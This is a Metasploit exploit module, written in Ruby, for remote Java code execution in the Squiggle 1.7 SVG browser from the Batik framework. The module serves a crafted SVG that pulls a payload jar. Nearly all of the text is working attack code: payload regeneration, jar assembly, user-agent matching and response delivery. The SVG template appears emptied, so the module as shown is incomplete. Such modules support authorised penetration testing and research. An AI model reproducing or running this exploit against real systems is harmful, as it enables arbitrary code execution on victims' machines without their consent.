## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info={}) super(update_info(info, 'Name' => "Squiggle 1.7 SVG Browser Java Code Execution", 'Description' => %q{ This module abuses the SVG support to execute Java Code in the Squiggle Browser included in the Batik framework 1.7 through a crafted SVG file referencing a jar file. In order to gain arbitrary code execution, the browser must meet the following conditions: (1) It must support at least SVG version 1.1 or newer, (2) It must support Java code and (3) The "Enforce secure scripting" check must be disabled. The module has been tested against Windows and Linux platforms. }, 'License' => MSF_LICENSE, 'Author' => [ 'Nicolas Gregoire', # aka @Agarri_FR, Abuse discovery and PoC 'sinn3r', # Metasploit module 'juan vazquez' # Metasploit module ], 'References' => [ ['OSVDB', '81965'], ['URL', 'http://www.agarri.fr/blog/'] ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => %w{ java linux win }, 'Targets' => [ [ 'Generic (Java Payload)', { 'Arch' => ARCH_JAVA, } ], [ 'Windows Universal', { 'Arch' => ARCH_X86, 'Platform' => 'win' } ], [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ] ], 'Privileged' => false, 'DisclosureDate' => "May 11 2012", 'DefaultTarget' => 0)) end def on_request_uri(cli, request) agent = request.headers['User-Agent'] jar_uri = ('/' == get_resource[-1,1]) ? get_resource[0, get_resource.length-1] : get_resource jar_uri << "/#{rand_text_alpha(rand(6)+3)}.jar" rand_text = Rex::Text.rand_text_alphanumeric(rand(8)+4) if request.uri =~ /\.jar$/ paths = [ [ "Exploit.class" ], [ "Exploit$1.class"], [ "META-INF", "MANIFEST.MF"] ] p = regenerate_payload(cli) jar = p.encoded_jar paths.each do |path| 1.upto(path.length - 1) do |idx| full = path[0,idx].join("/") + "/" if !(jar.entries.map{|e|e.name}.include?(full)) jar.add_file(full, '') end end fd = File.open(File.join( Msf::Config.data_directory, "exploits", "batik_svg", path ), "rb") data = fd.read(fd.stat.size) jar.add_file(path.join("/"), data) fd.close end print_status("#{cli.peerhost} - Sending jar payload") send_response(cli, jar.pack, {'Content-Type'=>'application/java-archive'}) elsif agent =~ /Batik/ svg = %Q| #{rand_text} | svg = svg.gsub(/\t\t\t/, '') print_status("#{cli.peerhost} - Sending SVG") send_response(cli, svg, {'Content-Type'=>'image/svg+xml'}) else print_error("#{cli.peerhost} - Unknown client request: #{request.uri.inspect}") end end end